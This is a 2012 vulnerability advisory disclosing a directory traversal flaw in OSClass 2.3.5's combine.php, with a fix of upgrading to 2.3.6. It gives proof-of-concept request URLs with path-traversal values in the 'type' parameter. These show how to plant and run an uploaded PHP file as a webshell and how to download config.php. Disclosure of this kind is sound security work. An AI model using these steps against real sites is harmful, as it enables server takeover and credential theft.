OSClass 2.3.5 Directory Traversal

`Advisory ID: CSA-12004  
Title: OSClass directory traversal vulnerability  
Product: OSClass  
Version: 2.3.5 and probably prior  
Vendor: osclass.org  
Vulnerability type: Directory traversal  
Risk level: 2 / 3  
Credit: www.codseq.it  
Vendor notification: 2012-01-25  
Public disclosure: 2012-03-07  
Original advisory: http://www.codseq.it/advisories/osclass_directory_traversal_vulnerability  
  
  
OSClass version 2.3.5 and probably below suffers from a directory traversal vulnerability that leads to arbitrary file upload and information disclosure.  
  
The problem is in the modified version of combine.php.   
combine.php is used to merge multiple files into one to speed up page loading and implements a cache for generated files.   
It takes two get parameters: "files" which is a list of files to merge and "type" that specifies the type of returned file; as a security measure combine.php ensures that the requested files are in its same directory (including subdirs).   
  
combine.php fails to sanityze "type" get parameter before passing it to fwrite/fread calls. This allows an attacker to specify an arbitrary cache dir.  
  
  
  
1) Arbitrary file upload. If a user can publish items and OSClass is configured to preserve a copy of the original image (default) it is possible to put an arbitrary file (ie a malicious php script) under the www root so shell commands can be executed with the privileges of the webserver.  
  
Proof of concept:  
  
1. Take a php file and rename it .gif (not really needed since OSClass trusts mime type)  
  
2. Upload that file as picture for a new item and get its name (is 5_small.jpg)  
  
3. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding in combine.php)  
  
4. Use combine.php to move itself to oc-content/uploads  
http://127.0.0.1/osclass/oc-content/themes/modern/combine.php?type=./../../uploads/combine.php&files=combine.php  
  
now we have a copy of combine.php placed into uploads dir (the same dir where our malicius php file has been uploaded)  
  
5. Use uploads/combine.php to move 5_original.php to /remote.php  
http://127.0.0.1/osclass/oc-content/uploads/combine.php?files=5_original.jpg&type=/../../remote.php  
  
6. Run the uploaded php file  
http://127.0.0.1/osclass/remote.php  
  
  
  
2) Information disclosure vulnerability. It is possible to download and arbitrary file (ie config.php) under the www root.  
  
1. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding)  
  
2. Move combine.php into web root  
http://127.0.0.1/osclass/oc-content/themes/modern/combine.php?type=./../../../combine.php&files=combine.php  
  
3. Run combine to download config.php  
http://127.0.0.1/osclass/combine.php?files=config.php   
  
Solution  
  
upgrade to OSClass 2.3.6  
  
http://osclass.org/2012/03/05/osclass-2-3-6/  
  
  
  
Filippo Cavallarin  
  
  
C o d S e q  
Development with an eye on security  
------------------------------------------------------------------------  
Castello 2005, 30122 Venezia  
Tel: 041 88 761 58 - Fax: 041 81 064 714 - Cell: 346 66 93 254  
c.f. CVLFPP82B27L736J - p.iva 03737650279  
http://www.codseq.it - [email protected]  
`